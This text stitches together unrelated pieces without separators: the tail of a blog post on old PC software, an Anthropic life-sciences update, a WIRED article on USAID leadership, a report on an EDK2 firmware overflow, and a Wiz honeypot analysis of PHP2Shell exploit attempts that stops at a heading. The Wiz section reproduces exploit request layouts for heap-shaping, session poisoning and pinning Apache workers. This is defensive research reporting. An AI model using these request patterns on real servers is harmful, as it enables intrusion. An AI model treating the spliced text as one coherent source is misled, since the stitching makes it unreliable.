Many of these were fixed by the time Diablo III came around. They had extra guards against duplicated items. Bosses gave players individual drops, so there was no competition for items when you killed bosses. And you didn't need to recover items from your corpse in a way that risked you losing items. These were all hard-won lessons.

Turbo button

I started using my family's computer around 1990 when I learned how to read. The computer was a beige 286 that sat on our desk with the monitor perched on top. It had a 5.25" floppy drive. It had a power button. It had a reset button. And it had a TURBO button. The TURBO button was supposed to be ignored most of the time, but you could press it when you needed to slow the computer's processor down.

Why would you need to do that? Because IBM's first desktop computers ran on the 8088 processor at 4.77MHz[2]. It didn't stay this way for long. But there was a problem: many programmers wrote their applications with the assumption that computers had that 4.77MHz processor. Programmers synchronized animations, video game frame rates, and generally relied on the assumption that they were working with a fixed clock speed. If you used one of these applications on a faster processor, they would likely be unusable.

Computer manufacturers devised a simple solution: add a TURBO button that would just slow your CPU down on demand. Whenever you ran into an application that had timing issues, just press that TURBO button and watch it slow down to a comfortable speed.

I never needed to actually press the TURBO button in anger. My understanding is that most of the applications that benefitted from the TURBO button were games, and we only played newer educational games that didn't have these timing issues. When editing this post, I thought about dropping this section a few times. But can you imagine having an "Original iPhone" button on the side of your iPhone so that the Notes app could work? Good grief.

Modern software isn't perfect

Modern software isn't perfect. It's bloated. It's slow. It was written by too many people. It's too complex. It has too many cooks in the kitchen. And now, we're losing our grasp on how it works under the hood as we delegate more and more to the agents.

But I'd never go back to the way software used to be written. Give me process isolation and online updates. Give me higher-level programming languages that abstract common pitfalls from C and C++. Give me game designers that handle timing using the system clock. Give me Steam and Windows Update. You can keep your old release process that fell by the wayside.

Footnotes

[0]

From what I remember from trying to install Debian in my high school years, the most popular app on Linux was anything that could edit XF86Config.

[1]

I'm having trouble corroborating this anecdote with information I can find online. The details might not be exactly right. But this is what happened, to the extent that the memory survived 25ish years.

[2]

Not GHz, MHz!

Anthropic’s life sciences team is working to accelerate curing disease. Over the past several months, our scientists have engaged in deep research partnerships with six organizations developing new medicines: BigHat Biosciences, Bristol Myers Squibb, Divergence Labs, Enveda, Generate Biomedicines, and The Column Group. We've also begun drug discovery efforts of our own. In doing so, we've learned a lot about how Claude can support drug development, and how we’ll need to improve Claude further to realize AI's potential in medicine. We plan to scale this work up substantially from here.

There are many opportunities to speed up drug development, even beyond the most commonly discussed applications of AI, like proposing initial designs for new molecules. Developing a drug involves many varied tasks: doing early research to identify a target for a drug and the right type of drug to engage it, designing a molecule with the right properties, optimizing it to be manufactured reliably at scale, drafting the regulatory filings needed to run clinical trials, designing and administering those trials, and much more.

Our strategy to realize AI’s medical benefits is based on having AI increasingly involved in all of these tasks. There is no single problem to solve; the bottlenecks are distributed all throughout the drug development process. The best way to identify and work through these bottlenecks is to get deeply involved in real drug programs, across many different disease areas and stages of development.

So, over the past several months, we’ve partnered with six organizations to do so. We’ve also started drug discovery efforts of our own, including programs for rare childhood forms of muscular dystrophy, where Claude handles much of the scientific and operational work.

This work serves our goals in three ways. First, it lets us better understand the strengths and limitations of our models in relation to a much wider range of drug development tasks (we’ve already prioritized specific improvements to our models based on what we’ve learned so far). Second, these programs can serve as case studies for the wider life sciences community. If Claude is to significantly increase the rate of new cures, we need to work with many more biotechnology firms and integrate Claude more deeply into their development processes. Third, these projects should, if their positive trajectories continue, have direct impact themselves. We’re optimistic that some may result in effective new medicines for the diseases they target, including food allergies, rare childhood diseases, and several forms of cancer.

In this post, we provide an update on our progress with our partners, along with technical reports and preprints that describe our thought process, methods, and early results in more detail. We then briefly outline where our work is headed next.

Case studies

Generate Biomedicines: modality engineering. Generate Biomedicines has been working on increasing the usefulness of a cancer treatment known as CAR T-cell therapy. This therapy has historically helped treat blood cell cancers; Generate aims to reengineer it so that it can treat solid tumor cancers too. To do this, they’re aiming to shorten one part of the therapy’s genetic instructions, which would create room for additional instructions suited to other kinds of cancer. Six Generate scientists used Claude Code to propose new designs for this part. One design was about 70% shorter than the standard version, and in lab tests it was more effective: it allowed immune cells to make roughly 10 times as many receptors (the proteins they use to spot cancer cells), it killed tumor cells more efficiently, and the immune cells remained active for longer. Read more, and see Generate’s technical report.

Divergence Labs: hit generation. Divergence Labs is working on a novel way to treat food allergies. Food allergies are set off by a reaction from a molecule called IgE, some of which is attached to our immune cells and some of which floats freely in our blood. Divergence Labs is developing drugs that would detach the IgE from our immune cells entirely, rather than solely neutralizing the IgE circulating in our blood, as standard medications do. This could provide a much more effective treatment, but it requires a precise design, with two “arms”: one that would bind tightly to IgE, and another that would help prise IgE from the immune cell. Claude converted Divergence Labs’ goals into a detailed design plan, and then, largely autonomously, generated roughly 35,000 antibody designs in about a month to be narrowed down and tested. In those early tests, Divergence found “hits” for both arms: three designs that could bind to IgE, and 20 that could dislodge it. Three of those 20 appeared to dislodge IgE more than the standard medication. Its next step is to build a drug that combines the two arms. Read more, and see Divergence’s technical report.

BigHat Biosciences: lead optimization. BigHat Biosciences pairs AI with an automated lab to improve potential drugs (or “leads”), which must bind their target tightly, remain stable through manufacturing and storage, and avoid clumping together (among other criteria). BigHat’s scientists and an Anthropic researcher worked with Claude to improve these three properties in two leads, both antibody fragments that could become parts of future drugs: one designed to target cancer cells, and one designed to keep a drug in the body longer. Claude, connected to BigHat’s lab data system, Reccy, proposed changes to each molecule, and BigHat’s lab made and tested about 1,010 variants in about 10 weeks. Partway through, the team suspected the standard heat-stability and clumping metrics were misleading. Claude and the researcher reanalyzed the raw data, then proposed different metrics and a protocol change to test them. BigHat’s scientists refined and ran it, and the main predictions held. Compared with the originals, the best versions bound more than 10x more tightly, the cancer-targeting lead stayed in solution 18°C higher, and the lead for longer-lasting drugs clumped more than 100x more slowly. Read more, and see BigHat’s technical report.

Enveda: manufacturing and filings. To conduct clinical trials, companies need records showing that each batch of a new drug has been made to strict quality standards, and to submit an application to regulators, among other requirements. At Enveda, manufacturing chemists spent up to 75% of their time on paperwork. To ease the load, Enveda built a system that connects all of its manufacturing documents to Claude, then lets Claude flag any possible issues. Over tests on 1,061 pages of documentation, Claude caught all 11 issues that human reviewers had spotted—and flagged seven they’d missed. In the process, this method reduced human review time by 89%, from over 25 hours to less than three. Separately, Claude wrote the first drafts of two important regulatory documents. One took four hours, compared to about three months by hand. For the other, Enveda’s standard human review process found one minor error. Read more, and see Enveda’s technical report.

The Column Group (TCG): company creation. Because drug discovery can be slow, expensive, and prone to failure, investors in biotechnology companies have favored safer, previously validated ideas over riskier new ones, even when the latter could help more patients. We’ve been working with TCG to see whether Claude can change this by cutting the time and cost of drug discovery so that investors can confidently support more ambitious ideas. Specifically, TCG is establishing Pleiades, a new company that will use Claude to run many more—and more complex—drug programs than is usual for a small team. This could be a model for how Claude can reduce both the scientific and the operational and administrative overhead required to run a biotechnology company. If this works, this model could be replicated across the industry and direct investment toward harder problems in medicine. Pleiades is currently developing new tools and workflows for Claude; its very first Claude skill, which helps Claude assess whether drug targets are worth pursuing, has been evaluated on 45 target-disease pairs. Read more.

More recently, we’ve also begun working with Bristol Myers Squibb (BMS) to find and address bottlenecks in clinical trial planning. BMS is using Claude to assess plans of an early-stage drug in clinical trials, and to estimate the likelihood of those trials succeeding. Together, we plan to expand this work in 2027 to understand its potential for increasing the probability of success in early development.

“We use Claude at the clinical trial stage to analyze proprietary data, create a clinical study plan, and weigh the study’s chance of success. From a single prompt, Claude generated a robust initial analysis that helped inform our assessment of different development options, which would otherwise take days to complete. We did all of this while ensuring the security of our highly sensitive data. We look forward to expanding this work across our pipeline to support portfolio-level decisions.”

Michael Pourdehnad, MD, Senior Vice President, Head of Early Clinical Development, Hematology, Oncology and Cell Therapy.

In addition to our work with these partners, we’ve begun to run some research programs ourselves. We’ve acquired Mithril Medicine, a one-person company that has been developing treatments for two rare forms of muscular dystrophy. Its founder, Cody Tranbarger, used Claude to organize contracts, logistics, and experiments with 11 external labs, and delegated many other aspects of Mithril’s operations to Claude. As a result, Mithril took a possible treatment for one form of muscular dystrophy from an idea to promising results in mice in less than 18 months. Now at Anthropic, Cody is continuing this research, and plans to start several new programs. If his drug candidates continue to hold up, we expect a drug to be ready to start clinical trials in humans as soon as late 2028. Read more and see our technical report.

Extending our work in the life sciences

All of this research is still at an early stage. In particular, so far it is mostly *preclinical—*that is, for the most part, it isn’t yet at the stage where the drugs are being tested in humans. We plan to continue extending Claude’s role into clinical trials as these drug programs advance, and as we partner with more organizations whose drug development programs are already at the clinical stage.

This research is only one part of our efforts to accelerate drug discovery. Ultimately, we want to share our models with as many drug development researchers as possible. To that end, we’ve rolled out Claude Science, our AI workbench for researchers, and we’re providing Claude credits for life scientists. We’ve also created the Life Sciences Verification Program to allow trusted organizations to use our most powerful models with more permissive versions of our safeguards, which are necessary to prevent misuse but which can impede legitimate biological research. We’ve also recently launched an open call for guest investigators in the life sciences; we’re seeking proposals from research groups who want to use Claude to investigate key questions in drug discovery and other areas.

We’re looking forward to working with many more organizations as we expand our life sciences research. If you work at an organization focused on drug discovery and are interested in collaborating with us, you can get in touch below.

Despite the agency's human resources department saying he hadn’t even been onboarded, Jeremy Lewin oversaw the destruction of USAID. It’s not clear he had the legal authority to do so.

Photograph: Fabrice Coffrini/Getty Images

On March 18, 2025, Secretary of State Marco Rubio handed the reins of the US Agency for International Development to Jeremy Lewin, a 28-year-old graduate of Harvard Law School, former investment banker, and affiliate of Elon Musk’s so-called Department of Government Efficiency. At the time, Lewin’s appointment drew criticism because of his lack of experience in government, diplomacy, or foreign assistance. But for career staff inside the agency, the issues surrounding Lewin’s new role were much more alarming than his thin résumé.

For at least two months, USAID senior staff had no knowledge of how Lewin, who appeared at the agency one day as a policymaker on an obscure detail from the General Services Administration, could have suddenly begun wielding the powers of the agency’s top official.

Internal USAID emails reviewed by WIRED reveal that during the three-week period of March 18 to April 4, during which Lewin began canceling lifesaving aid programs and personally signed off on the termination of thousands of USAID employees, he did not sign the paperwork typically required by law to begin work at the agency, despite repeated requests. In fact, his appointment was so mysterious that USAID security was unable to issue him an ID card because they had no records of his employment.

Lewin, currently director of policy planning at the State Department, tells WIRED that prior to Rubio delegating powers to him, he was “both detailed and dual appointed to work at USAID by Secretary Rubio according to well-established authorities and with the advice of State Department and White House counsel.”

Experts, though, say that while Lewin performed the duties of a top USAID leader under the title Rubio handed to him—deputy administrator of policy and programming and chief operating officer—it isn’t clear that he had the legal authority to do so. Questions about how DOGE affiliates like Lewin stepped into top roles at many federal agencies, including USAID, remain key to dozens of active lawsuits targeting DOGE and the Trump administration over federal workforce reductions, firings, and agency dismantlings.

Lewin has said, in a declaration submitted to the court in J. Doe 4 v. U.S. DOGE Service, that he began serving at USAID as a senior adviser as well as a director for strategy and programs on January 28, 2025. On March 18, according to court filings, Rubio, in his role as USAID’s acting administrator, delegated the authority of the deputy administrator of policy and programming and chief operating officer to Lewin, and also signed a document appointing Lewin an “officer of the United States.”

According to the emails reviewed by WIRED, on March 20, two days after Rubio placed Lewin atop the USAID hierarchy, White House liaison to USAID Adam Korzeniewski notified HR to begin the process of onboarding Lewin as a senior adviser performing duties as deputy administrator. Four days later, the emails reveal, after prompting from HR, Korzeniewski provided a proposed start date—March 18—and the next day, Lewin was sent a temporary job offer.

By March 26, the emails show, Lewin still hadn’t accepted the job offer, and had not filed his OF-306, the federal government's standard pre-employment background screening form; without this document, a federal agency cannot lawfully issue a final job offer or consummate an appointment. An HR executive noted in an email dated March 31 that Lewin had not completed the onboarding tasks required to initiate “the security reciprocity process,” which recognizes the transfer of an employees’ security clearance from one agency to another. (A detailing agreement between the GSA and USAID dated February 14—two weeks after Lewin says he began at USAID—specifes that “commencement of the detail is contingent upon the Detailee’s successful adjudication and receipt of any necessary security clearances and other pre-employment screening required by USAID.”)

On March 28, Lewin signed a letter terminating all remaining USAID staff. And as he executed sweeping powers to liquidate all 60 of USAID’s overseas missions and cancel thousands of lifesaving projects worldwide, HR repeatedly followed up with Korzeniewski.

More than a week after Lewin’s appointment, the emails show, a USAID official told Korzeniewski that the agency’s office of security was “unable to issue a USAID ID card to Jeremy Lewin as SEC [the agency’s secure database] did not have a record of Jeremy as an employee.”

“Until you’re onboarded at USAID, you aren’t even in the system,” says Natalia Machuca, a 15-year agency veteran who hired many staff. “You can’t get a badge, get into your computer, or even walk around the building.”

Lewin tells WIRED, “I was a regular government employee with a valid security clearance held by the State Department during this entire period. USAID HR was confused about this paperwork for a period of days, but this issue was cleared up once they were made aware of the dual appointment and my State Department position.”

But according to a top executive in HR, no one from their office saw any delegation documents until late April 2025. As one longtime HR executive at the agency, speaking on the condition of anonymity, said of Lewin: “He was the equivalent of an administrative ghost.”

“I think this creates a huge accountability problem if you have these actors who are making really consequential life-or-death decisions who didn't go through any standard confirmation process,” says Don Moynihan, a public policy professor at the University of Michigan, “or in this case didn't even complete their paperwork to become a formal employee.”

Lewin—who a White House official says submitted all the paperwork required for employment and clearance—provided WIRED with two documents, both dated March 18, 2025. One is an appointment and compensation waiver, signed by Rubio, naming Lewin director of strategy and planning, and stating that he would not be paid “pursuant to, among other provisions of law, 22 U.S.C. § 2385(b).” The other is a standard appointment affidavit naming Lewin USAID’s director of strategy and programs. A signature on the form appears to be Rubio’s, with the title given as “HRO”—usually an abbreviation for human resources officer. The State Department did not answer questions about this document.

To one former senior USAID official, Rubio’s use of 22 U.S.C. § 2385(b)—an obscure provision traditionally reserved for rapidly deploying emergency-response staff to disaster zones abroad—to appoint Lewin looks like a legal contortion.

“It is so unconventional that I’d never seen it used before I got to USAID,” the official said. “It was created for the purposes of scaling up really quickly if there was some outbreak of a virus somewhere and they needed to bring people on, then let them go.”

Brian Feinstein, a law professor at the Wharton School of Business, acknowledged that while using 22 U.S.C. § 2385(b) to appoint Lewin is complex, it appears to him to be legal. “Because Lewin's appointment is consistent with this law regarding USAID personnel,” he says, “his unusual status should not be a factor.”

Outside of this point, legal questions also remain about Lewin’s actions at the agency before he was appointed by Rubio, and his failure to complete the onboarding required to begin his initial detail period at USAID. During this time he was part of a team that issued sweeping orders, including one to then acting administrator Jason Gray to lock all USAID staff worldwide out of email and all communication systems, which could have put many staff’s lives at risk, and to terminate 57 of the agency’s top officials.

David A. Super, professor of law and economics at Georgetown University, describes Lewin’s failure to complete his onboarding as much more than an administrative slip-up. “You can’t just walk in the door of a federal agency and become an employee,” he says. Under federal law, a cabinet secretary can only assign the authority of a Senate-confirmed position such as USAID administrator to a subordinate official—an agency employee or officer who works under the supervision of a higher-ranking officer. These regulations, Super says, are a way for Congress to guarantee that “someone walking off the street should not be given these enormous powers.”

Nina Mendelson, who teaches law at the University of Michigan, agrees. She says the administration appeared to be trying to bypass the Federal Vacancies Reform Act, a federal statute that dictates how temporary vacancies in Senate-confirmed executive branch positions are filled. “The FVRA specifies who may fill in, for a limited time, when a Senate-confirmed post is vacant,” she says. “The possibilities are a first assistant, someone holding another Senate-confirmed post, or a longtime civil servant in the particular agency. Lewin doesn’t seem to have been any one of those.”

Lewin being placed atop USAID came in a specific context. In February 2025, shortly after the arrival of Lewin and other DOGE affiliates at the agency, two dozen current and former USAID employees and contractors sued Musk and DOGE in Maryland District Court. They successfully secured a preliminary injunction on March 18, on the grounds that special government employees—temporary hires from outside USAID and the government—lacked the authority to execute sweeping federal actions. That same day, Rubio delegated powers of the agency’s top job to Lewin.

On March 28, the Fourth Circuit Court of Appeals granted the Justice Department an emergency stay, pausing the injunction based on the administration’s argument that the actions were taken by Lewin in his role as a federally appointed official. In his declaration, Lewin wrote: “I am not, and have never been, an employee of Elon Musk or USDS,” adding, “I report directly and only to Acting Administrator Rubio” in his role at USAID.

The ruling gave Lewin the green light to fire thousands of career civil service and Foreign Service staff that very day, but the legal battle didn’t end there. The district judge has since allowed thousands of affected employees to sue DOGE and the administration as a group and ordered the government to hand over a trove of internal documents.

Kevin Byrnes, a veteran federal employment law attorney representing more than 170 former and current career USAID staff in a separate suit challenging DOGE’s role in the mass firings, says the fact that Lewin had not completed mandatory onboarding paperwork raises even more questions about the authority of nonconfirmed agency leadership, and potentially exposes Lewin personally.

“If Lewin didn’t even fill out the papers and was not authorized to take these actions, then he could be exposed to personal liability,” says Byrnes, who is asking the court to reinstate all the plaintiffs to their USAID jobs, with back pay.

Critical flaw in EDK2 allows attackers to execute code early in the boot process.

Credit: Getty Images

Defenders across the world face the burden of responding to yet another botched code-execution vulnerability, this time in boot-time firmware used by most of the world’s server vendors and data centers.

The vulnerability, with a severity rating of 9.5 out of 10, resides in the TianoCore EDK II, an open source codebase that hardware makers and cloud providers use to create the UEFI firmware that runs during the boot-up sequence. Last year, a representative of the UEFI Forum called EDK2 the “preeminent solution / implementation of the UEFI specifications.” Virtually all UEFI suppliers (sometimes still called IBVs or independent BIOS vendors), including AMI, Insyde, and Phoenix, use the reference code extensively. Project Mu, Microsoft’s hardened EDK2 fork, used the code containing the vulnerable component as well.

The vulnerability, tracked as CVE-2026-97631, is a memory-corruption flaw in an ICMP component that attackers can exploit to execute malicious code that runs before the operating system and firmware can implement defenses like Secure Boot, which establishes a chain of trust for all code, including the Trusted Platform Module (TPM), loaded during boot. While final payloads delivered by CVE-2026-97631 have no persistence—meaning they run only once—they can give attackers a wide opening to install other payloads that also run each time early in the boot process.

The cat has left the bag

The parties that discovered CVE-2026-97631—Alex Matrosov of Anthropic and Dan Holmes of Google—had arranged for it to stay under wraps until a coordinated disclosure that was scheduled for January. AMI, a maker of motherboards and other hardware, published this pull request last month that detailed the vulnerability and included a code fix. Once the post came to the attention of the discovering parties, TianoCore Project members published a public advisory last week.

With publicly available patch code, it will be trivial for advanced hackers to learn how the vulnerability is triggered and to build working exploits. Further compounding the urgency, patching UEFI code vulnerabilities in millions of end devices sold and used by thousands of hardware makers and cloud providers is cumbersome and time-consuming. Word of the vulnerability comes six days after another botched disclosure, this one involving a critical code-execution vulnerability in the PHP programming language.

“This vulnerability in the ICMP parser of the EDK2 network stack is interesting in terms of how it affects the chain of trust and the broader ecosystem,” said HD Moore, creator of Metasploit and chief research officer at security firm Dragos. “An attacker intent on compromising a nearby endpoint or server could use this bug to hijack program flow at a point where the boot process still has access to sensitive components, like the endpoint’s TPM. This could be used to break disk encryption for cases where an attacker has short-term network access (and it would be even easier in a theft scenario).”

CVE-2026-97631 is a 16-year-old buffer overflow in the PXE-Base Code driver (NetworkPkg/UefiPxeBcDxe), which is responsible for allowing servers, storage equipment, and other devices to boot using code downloaded from a local network. During this process—known as the pre-execution environment boot—the driver uses a network listener to monitor for ICMP errors. Because the driver doesn’t enforce a memory copy limit of 504 bytes, overwriting adjacent data, a malicious insider or a hacker who has gained low-level access to a local network can send an error message that appends code past this limit. The IUEFI module running on the CPU then becomes corrupted.

As the official advisory puts it:

During network boot, the PXE Base Code driver (NetworkPkg/UefiPxeBcDxe) keeps a receive request open for ICMP error messages and copies each received message into the fixed 504-byte field Mode.IcmpError of its private context structure. The copy loop’s bounds handling is incorrect in both the IPv4 and IPv6 handlers (PxeBcIcmpErrorDpcHandle and PxeBcIcmp6ErrorDpcHandle): for a message longer than 504 bytes it still copies bytes into the field, and it advances the destination pointer by the cumulative rather than the per-fragment length, so an oversized message writes attacker-controlled bytes past the field. Nothing earlier on the receive path restricts the message length.

The malicious error can be delivered through a simple unicast sent from any network distance to a target device’s IP address, as long as it’s sent during the PXE boot sequence. An attacker can deliver a denial-of-service by causing the boot sequence to hang. When the attacker knows what the target firmware build is, it can plant a “counterfeit event” that executes the malicious code on the CPU in its UEFI firmware environment. The code runs in ring 0, a CPU’s most privileged execution level. Because exploits bypass attestation processes designed to cryptographically prove to remote servers that the hardware is secure, they present a key opportunity for elevating limited privileges.

Yet another forever day

CVE-2026-97631 joins a long list of previously discovered vulnerabilities in UEFI or code that works closely with it. The most severe of them, LogoFail, stemmed from logo images included in the UEFI of just about every hardware maker. Rendering bugs allowed attackers to subvert the chain of trust UEFI enforces and go on to install malicious components before the OS loaded or Secure Boot ran. PixieFail was a vulnerability similar to CVE-2026-97631. It, too, was the result of faulty PXE boot flaws in EDK2. Following discovery of the vulnerability, researchers embarked on multiple fuzzing projects designed to surface other critical flaws in the open source code library. It appears those efforts failed to find this latest flaw.

Other recently discovered UEFI flaws include:

• PKFail, a supply-chain failure resulting from non-production test platform keys, public for more than a decade before they were discovered, used in hundreds of device models
• BootHole
• Bootkit and
• BlackLotus

Like CVE-2026-97631, exploitation or use of these payloads is appealing because it allows attackers to infect machines early in the boot process, before TPM and other defenses load, so they can inflict maximum damage. Given the ubiquity of CVE-2026-97631, Moore said it’s likely a “forever” bug that will live on in end-of-support systems.

There are important caveats and limitations to exploiting this latest vulnerability. As noted, some level of control over a local network is a prerequisite. That likely limits exploitation to insiders or attackers, such as nation-states or ransomware operators, who manage to gain low-level access inside a network and are looking for a way to elevate system rights. There’s no evidence yet that CVE-2026-97631 provides an initial entry point into a network. There are other hurdles to clear.

“For exploiting the vulnerability itself, an attacker needs to guess specific addresses within the target system, so it’s not something that you can throw a single exploit at any target and get RCE across a diverse range of devices, but it needs to be tuned for each target model/version/configuration since the addresses will change based on those,” Jesse Michael, a principal researcher at firmware security firm Eclypsium, told Ars. “Unlike some of the previous, high-profile vulnerabilities like BootHole, Black Lotus, and Baton Drop, this vulnerability can be fixed with a basic code fix, which will require deploying a BIOS/UEFI update, but they don’t need to deal with revocations, pk/kek/db/dbx key management updates, or making sure to update OS and provisioning media like you do with Secure Boot bypasses in the bootloader itself.”

CVE-2026-97631 doesn’t affect home and small office users, or any other users who boot their devices solely from disk drives. Instead, it applies only to organizations with machines that boot from local networks, or conceivably from Internet-connected resources. Even then, the targeted firmware must rely on EDK2, as opposed to a different reference implementation, and use the PXE functionality (which is turned on by default).

In an email, Intel said that none of its “commercial products currently under security support” are known to be affected. “Intel does not include the affected EDK2 functionality in its reference code, though it may be integrated by an OEM board vendor or system manufacturer,” the company added. It advised customers to check with their system manufacturer for specific guidance. Publicly available Intel reference code, however, makes reference to EDK2. Further, TianoCore has said that each Intel-supplied UEFI development kit “is a fully validated implementation… for a specific revision of the EDK II source.” Many other Intel documents reference EDK2 as well.

Arm, meanwhile, responded to a list of questions with: “CVE-2026-97631 is not directly applicable to Arm’s product portfolio.” Like Intel, firmware the company makes available also borrows heavily from EDK2. TianoCore has also documented Arm’s reliance on EDK2.

While it’s possible some platforms are free of EDK2 code, it’s prudent for users of all servers to investigate if CVE-2026-97631 affects them.

Questions sent to AMD, Phoenix Technologies, AMI, Microsoft, and Amazon—likely some of the other biggest organizations affected—went unanswered when this post went live. Without concrete answers to questions about the use of EDK2 by organizations like these, it’s impossible to say what or how devices are affected and what actions, if any, these organizations, or their users, should take. Representatives from the TianoCore Project also didn’t respond.

Some readers are likely to be unhappy at the lack of detail. Sometimes—particularly in cases involving botched disclosures that break embargoes months before they’re scheduled to lift—there’s no escaping the lack of actionable information in initial reporting.

Those affected should check with the maker of the firmware being used to boot their systems and ask for guidance. Beyond that, they should consider turning off network boot capabilities at least temporarily if possible. Firmware configurations should always enable security features such as TPM and Secure Boot whenever possible, although those defenses don’t protect against this particular threat. It’s also a good idea to monitor logs for signs of exploitation attempts.

Wiz research has been monitoring PHP2Shell exploitation attempts, but none have succeeded so far. We examine the techniques used, what prevented the attacks from completing and how observed exposure has changed since disclosure.

Last week, we published a report describing two major vulnerabilities in PHP (CVE-2026-109618, CVE-2026-109619). Since then, alongside much of the security industry, the Wiz Research team has been monitoring for related activity in the wild and reviewing publicly available exploit code. So far, we have observed a limited number of exploitation attempts in our telemetry and have not identified a publicly available proof of concept (PoC) demonstrating complete, general end-to-end exploitation against an arbitrary target. Some partners have, however, privately disclosed to us exploits that work against a variety of targets and we continue to experiment internally. Videos demonstrating our successful exploitations are available at php2shell.com.

This post summarizes what we have observed in terms of remediation efforts and exploitation attempts across real world environments and in our own honeypot data to date and shares findings from our ongoing investigation into these activities.

We will continue monitoring developments and update this post as new evidence emerges.

Observed exposure trends

Following PHP2Shell’s public disclosure on October 21, 2026, Wiz telemetry has recorded an approximate 67% decrease in the daily number of distinct Internet-exposed machines vulnerable to PHP2Shell over the past few days. Separately, among vulnerable Internet-exposed machines, the proportion running PHP version 7.3 or earlier fell from 8.3% to 5.7% over a period of five days. This measures the share of the observed population running older versions that did not receive official backports.

During this period, the number of significantly affected organizations - defined here as those with at least one exposed and vulnerable instance - fell by approximately 47.9%. For reference, our data shows that PHP itself is in use by 65% of organizations in our dataset.

Together, these observations are consistent with organizations collectively reducing their exposure through a combination of patching, upgrading, retiring affected machines and restricting internet access (note that this data shows the overall trend, but does not establish the relative contribution of each remediation strategy; scan coverage and size of observed population can also affect the overall reported numbers over time).

One week after public disclosure, less than 53% of initially affected organizations remain vulnerable to PHP2Shell.

Exploitation attempts observed by Wiz research

We have so far observed the following types of activities in this context:

1. Attempts using the PHP2Shell exploit mechanism, with techniques matching those of public PoCs**.**
2. PHP2Shell-branded tools unrelated to the vulnerabilities that instead relied on session poisoning and a separate local file inclusion (LFI) vulnerability in the application.

Attempts using the PHP2Shell exploit mechanism

We observed two variants of an open source exploit kit targeting PHP-based software. Neither completed the exploit chain in the attempts we captured. The older variant encountered request-size limits or failed to produce the expected memory-exhaustion condition. The newer variant did consistently exhaust PHP’s memory, but failed to obtain the memory addresses needed to continue.

Variant 1: the legacy chain

The first request to our PHP-CGI honeypot came from 3.37.227[.]134. It matched the kit’s older chain, found under archive/legacy-8m/exploit.py and its accompanying stage scripts. The first full exploit stage used a multipart body containing 1,005 parts, including a field named big filled with approximately 12 MB of padding:

POST / HTTP/1.1

Host: <honeypot>
Content-Type: multipart/form-data; boundary=SSSSSSSSSSSSSSSSS
Content-Length: 12655437
[1,005 parts]
 1001 x p0000                    = "x"
 1 x PHPSESSID                   = "\x00"
 1 x PHP_SESSION_UPLOAD_PROGRESS = "pwn"
 1 x f (file)                    = "A" x 64
 1 x big                         = "B" x ~12 MB

According to the kit’s notes, this stage attempts to exhaust memory during a session reset, leaving the session state available for a later request.

On our honeypot, it failed before reaching that code. The declared request size exceeded the configured 8 MB post_max_size limit, so PHP skipped processing the multipart body and logged:

POST Content-Length of 12655437 bytes exceeds the limit of 8388608 bytes

The author has since moved this chain into the kit’s archive directory.

A later attempt against Roundcube

In a later attempt, 103.151.172[.]95 sent a longer sequence from the legacy chain. It included stalled connections intended to occupy other Apache workers.

When only one worker was available the exploit attempted heap-shaping by sending requests containing 1,001 fields of 3,000 bytes each. These requests didn’t trigger the memory exhaustion flow required. So there is no evidence that this attempt reached the intended memory-exhaustion condition.

Variant 2: the current chain

Most IP addresses we captured used the newer chain, built from pure/mk_a1.py and pure/mk_leak_b.py. We observed this variant in multiple attempts.

This variant progressed further: its first stage consistently caused PHP to exhaust its memory. The following stage, which attempts to leak process memory, failed in every run we captured.

The server logged a fatal error indicating that PHP reached its limit, for example:

Allowed memory size of 134217728 bytes exhausted (tried to allocate 81920 bytes) in Unknown on line 0.

Keeping requests on the same worker

The chain depends on consecutive exploit requests reaching the same Apache child process. To increase the chances of that happening, the kit attempts to occupy the other workers with incomplete requests. Each connection declares a large body, sends a single byte and stalls:

POST /index.php HTTP/1.1

Host: <honeypot>
Content-Type: application/x-www-form-urlencoded
Content-Length: 1048576
x

One address, 178.249.214[.]6, opened 399 of these connections alongside 400 GET requests before sending the exploit stages. The address is a VPN exit node, which limits what we can infer about the source.

Stage A1: triggering memory exhaustion

A1 is a chunked multipart request containing a null-byte session ID, 860 empty file parts with long, deeply nested array names and several groups of padding fields:

POST /?q0=v&q1=v&q2=v&q3=v&q4=v HTTP/1.1

Host: <honeypot>

Content-Type: multipart/form-data; boundary=CCCCCCCCCC
Transfer-Encoding: chunked
[1,060,211 bytes, 974 parts]
    1 x PHPSESSID                   = "\x00"
  860 x files[R00000KKKK...][a][a]... (file, empty)
   14 x f0000xxxx...                = "vvvvvvvv"
   78 x b0000                       = "B" x 8000
   20 x u00                         = "U" x 4000
    1 x PHP_SESSION_UPLOAD_PROGRESS = "k" x 4000

The request is designed to exhaust memory during session handling at a point that can leave the session ID pointing to freed memory.

Every A1 request we captured returned HTTP 500, accompanied by a PHP error matching:

Allowed memory size of 67108864 bytes exhausted ... in Unknown on line 0

This confirms that A1 reached the intended memory-exhaustion condition on our honeypot. It does not, by itself, confirm that the stale session state needed by the next stage was preserved.

Stage B1: attempting the memory leak

B1 followed roughly a second later. It sent another chunked multipart request containing PHPSESSID=a, PHP_SESSION_UPLOAD_PROGRESS=k0and two large padding fields.

If this request reaches the same worker before PHP resets the stale session state, PHP can write reclaimed heap contents into a PHPSESSID response cookie. The kit then extracts heap and libphp addresses from that cookie to prepare the final exploit stage.

We observed no such leak. In all but one run, the connection closed without a response. The remaining run returned a normal 32-character session cookie. None of the sources sent the final exploit stage.

Why the leaks may have failed

The failed leaks highlight a broader challenge: building a generalized exploit that works reliably across PHP versions and deployment configurations is difficult. The kit’s B1 layout was calculated for the official php:8.4.26-apache image with a 128 MB memory limit. Other instances like our Roundcube honeypot ran the same PHP version from a different build, with additional extensions and a 64 MB memory limit. These differences can affect heap layout and memory reuse, potentially preventing the leak from working as expected.

Reliable worker pinning adds another challenge. Consecutive exploit requests must reach the same Apache child process while the required session state persists. Request timeouts, network latency and worker availability can disrupt this sequence. In our own testing, request timeouts combined with network latency were enough to prevent the chain from completing over an internet connection.

So far, we have not identified a publicly available, generalized solution for either worker pinning or information leaking across different deployments. Simply copying public PoCs and running them at scale does not address the work needed to turn a configuration-specific exploit into a reliable operational kit. We expect these barriers to diminish over time: some threat actors have the expertise needed to adapt the chain and build more robust tooling.

Other attempts

We also saw failed exploitation attempts from 15.204.59[.]70 and 162.35.99[.]94, but these scanners did successfully exploit Adel Karimi's honeypot, which was a likely contributing factor to CISA’s decision to include PHP2Shell in their KEV list.

PHP2Shell-branded tools unrelated to the vulnerabilities

